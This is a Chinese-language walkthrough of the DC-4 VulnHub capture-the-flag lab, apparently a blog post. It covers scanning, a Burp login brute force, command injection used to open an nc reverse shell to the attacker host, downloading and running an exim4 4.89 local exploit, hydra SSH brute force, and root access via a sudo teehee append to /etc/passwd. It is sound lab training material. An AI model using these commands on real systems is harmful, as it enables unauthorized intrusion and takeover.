DC-4靶场实战详解
环境安装
DC-4下载地址:https://www.vulnhub.com/entry/dc-4,313/
kali 与 DC-4 网络配置设为一致,我这里都是用nat模式
寻找FLAG
信息收集
1.寻找靶机ip
我的kali ip为192.168.79.128
不知道kali ip的可以直接ip add 查看
在kali中使用nmap或者使用arp-scan
方法一:
arp-scan -l
方法二:
nmap -sP 192.168.79.0/24
确认靶机ip为 192.168.79.132
- 探测靶机开启的服务
使用nmap 进行服务探测
nmap -v -A 192.168.79.132
可以看到 开启了 80与22端口
3.访问开启的服务
访问 192.168.79.132
随便用 Wappalyzer查看下是不是常用的cms 发现就是简单的用一个登录框,一个不是什么cms
4.目录爆破
发现都给重定向到index.php
看来给的网站需要我们登录.
爆破登录
不太确定有没有sql注入点 直接用burpsuite跑万能密码就知道了
先抓包
看到没有前端加密也没有验证码和token,那就直接跑字典就好了
发到攻击载荷用集束炸弹
添加个sql注入试试
账号密码都加 反正也才1w+ 一下子就跑完了
跑完发现回包都是一样的 基本可以确定 没办法sql注入。
尝试直接账号密码爆破这类默认账号一般是admin 可以尝试下
密码使用burpsuite默认密码集试试
按长度来排序 发现happy 长度不一样 查看回包
基本可以判断就是这个账号密码了测试登录
点RUN 发现好像是命令执行了 ls -l 抓包看看
果然 是通过关键字 radio 提交命令的 我们加个ip add命令试试
记得空格要加+号!!
ip add #ip+add
发现返回了信息,那下一步就是利用这个漏洞反弹shell了
反弹shell
尝试用nc看看可不可以反弹
kali上先开启侦听8080端口
nc -lvvp 8080
修改命令执行的命令!
nc 192.168.79.128 8080 -e /bin/bash
# nc+192.168.79.128+8080+-e+/bin/bash
# 空格+号代替
可以看到kali中获得了shell
使用python获得交互式界面
python -c "import pty;pty.spawn('/bin/bash')"
提权
不知道是这题的问题还是什么问题因为我以前做过DC-8,所以DC-4发现了2个提权点。
一个就是DC-8里面用到的exim4提权
另一个是
exim4提权
先看看当前权限
不是root权限
都先看看具有SUID权限的命令
find / -user root -perm -4000 -print 2>/dev/null
发现一个exim4
查看查看exim4版本
exim4 --version #查看exim4的版本
我的天哪!又是4.89 和DC-8的一样 又是和DC-8一样的套路
先看看本地漏洞库
searchsploit exim 4
46996符合exim 4.89 就用这个 拷贝到kali的apache web页面下
systemctl start apache2.service #开启apache
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html #拷贝到kali的apache web页面下
访问kali web页面 复制payload下载地址
http://192.168.79.128/46996.sh
DC-4下载payload
wget http://192.168.79.128/46996.sh
显示拒绝访问,看来是这个目录权限不够,我们移到/tmp里面
cd /tmp
wget http://192.168.79.128/46996.sh
下载成功,给执行权限,并且运行。
chmod +x 46996.sh
./46996.sh
成功获得root权限
执行exp报错
如果这里执行exp报错
执行脚本的时候提示 “/bin/bash^M: bad interpreter: No such file or directory” 的错误是由于脚本文件是 dos 格式,即每一行结尾以 \r\n 来标识,而 unix 格式的文件结尾以 \n 来标识
查看脚本文件是dos格式还是unix格式的几种办法。
cat -A filename 从显示结果可以判断,dos格式的文件行尾为^M$,unix格式的文件行尾为$。
od -t x1 filename 如果看到输出内容中存在0d 0a的字符,那么文件是dos格式,如果只有0a,则是unix格式。
vi filename 打开文件,执行 : set ff,如果文件为dos格式在显示为fileformat=dos,如果是unxi则显示为fileformat=unix。
解决方法:
使用linux命令dos2unix filename,直接把文件转换为unix格式
使用sed命令sed -i "s/\r//" filename 或者 sed -i "s/^M//" filename直接替换结尾符为unix格式
vi filename打开文件,执行 : set ff=unix 设置文件为unix,然后执行:wq,保存成unix格式。
————————————————
原文链接:https://blog.csdn.net/LZHPIG/article/details/104594330
teehee提权
我感觉这才是这个DC-4的正确解法
一样通过nc进入靶机,查看系统里面有什么文件
慢慢查找发现有一个文件jim可以直接进去 然后里面有一些奇怪的文件 一个一个慢慢看
发现了一大堆密码类似的东西,应该是给我们的提示 让我们爆破jim
把文件保存下来,爆破我们使用hydra
hydra -l jim -P mmmm.txt 192.168.79.132 ssh
可以得到ssh账号密码为:jim jibril04
使用kali登录jim
ssh jim@192.168.79.132
接下来还是一顿搜索 发现jim有邮件
进入邮件目录
cd var/spool/mail
可以看到发件人的账号和密码
账号:Charles
密码:^xHhA&hvim0y
直接su 切换用户试试
su Charles #发现不行 然后试了一下小写就没问题
账号:charles
密码:^xHhA&hvim0y
su charles # 然后输入密码即可
查看 使用sudo运行的命令
sudo -l
看到一个teehee提权 那我们可以用teehee写一些信息到/etc/passwd里面
/etc/passwd 内每个字段含义
username:password:User ID:Group ID:comment:home directory:shell
echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
# 用户名admin 没有密码为管理员权限 进入的时候运行/bin/bash
可以看到我们获取到了root权限!!
FLAG
在root目录下
cd /root
cat flag.txt